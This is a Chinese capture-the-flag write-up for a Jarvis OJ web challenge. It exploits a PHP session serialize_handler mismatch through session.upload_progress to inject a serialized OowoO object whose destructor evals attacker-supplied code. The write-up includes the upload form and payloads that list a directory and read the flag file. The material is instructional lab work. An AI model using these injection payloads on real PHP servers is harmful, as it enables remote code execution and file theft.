Session序列化选择器漏洞(ini_set('session.serialize_handler', 'php');)

首先打开题目页面直接获得源码:
在这里插入图片描述

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');#ini_set设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。 设置选择session序列化选择器
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

此时并无可以反序列化的点,这题的突破点在哪里,没错,就是我备注的那块ini_set('session.serialize_handler', 'php');,选择session序列化处理器。
然后分析代码得知:如果没有传phpinfo这个参数,那么就显出源码,否则的话就执行phpinfo()–>信息收集
在这里插入图片描述
首先先了解一下此漏洞的成因:如果设置的session序列化选择器与默认的不同的话就可能会产生漏洞

我们先看看一下phpinfo()中的信息吧。
几个关键点:

查看版本,注意:在php 5.5.4以前默认选择的是php,5.5.4之后就是php_serialize,这里面是php版本为5.6.21,所以选择器默认为php_serialize,同时意识到在index界面的时候,设置选择的是php(即ini_set('session.serialize_handler', 'php')),因此可能会造成漏洞

在这里插入图片描述

搜索document可以看到当前网站的路径

在这里插入图片描述

搜索session可以看到session的有关内容

在这里插入图片描述

还有一个重要的参数session.upload_progress.enabled需要设置为on

在这里插入图片描述
接下来我们就需要开始思考了,怎么才可以调用到类OowoO中的eval()函数执行任意代码呢?

  • 1.首先这里面没有任何一个可以进入的入口。我们要利用php反序列化必须要有序列化、反序列化函数啊!可是这里面貌似啥都没有!!!
  • 2.并且我们利用的是session的反序列化漏洞啊,而没有可以传入session的点,怎么才能改变session呢?

通过phpinfo页面,我们知道php.ini中默认session.serialize_handler为php_serialize,而index.php中将其设置为php。这就导致了seesion的反序列化问题。
由phpinfo()页面知,session.upload_progress.enabled为On。当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据,即就可以将filename的值赋值到session中。所以可以通过Session Upload Progress来设置session。
在这里插入图片描述

但是,这时就有一个问题,在题目代码中,没有某个值是用来接受我们传入的数据,并储存到 S E S S I O N 中 的 。 其 实 我 们 是 有 办 法 传 入 ‘ _SESSION中的。其实我们是有办法传入` SESSION_SESSION`数据的,这里就利用到了|的反序列化问题。我们需要构造一个上传和post同时进行的情况,接下来我们构造一个上传表单,把下面代码保存为test.html:

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

接下来考虑序列化的问题。

<?php
class OowoO
{
    public $mdzz='xxxxx';
}
$obj = new OowoO();
echo serialize($obj);
?>

payloay1:将xxxxx替换为print_r(scandir(dirname(__FILE__)));,得到序列化结果:

O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

为防止转义,在引号前加上反斜杠\。利用前面的html页面随便上传一个东西,抓包,把filename改为如下:

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

注意,前面有一个|,这是session的格式
在这里插入图片描述
在这里插入图片描述
接下来就是去读取 Here_1s_7he_fl4g_buT_You_Cannot_see.php
由phpinfo可知当前的路径为/opt/lampp/htdocs/

将xxx处改为:

print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));

之后步骤如前,将filename改为:

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

得到flag:
在这里插入图片描述

附录:

介绍一下关于session反序列化的三种机制:

首先在php.ini中关于session的设置:

session.save_path=""       #设置session的储存路径
session.save_handler=""     #设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start   boolen    #指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler   (php | php_serialize | php_binary)     #定义用来序列化/反序列化的处理器名字。默认使用php(重漏洞原因)

下面介绍session三种序列化的机制

php #键名+竖线(|)+经过serialize()函数处理过的值
php_serialize #经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
php_binary  #键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值

参考:https://chybeta.github.io/2017/07/05/jarvisoj-web-writeup/#PHPINFO
https://blog.csdn.net/Mikasa_/article/details/89405820

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值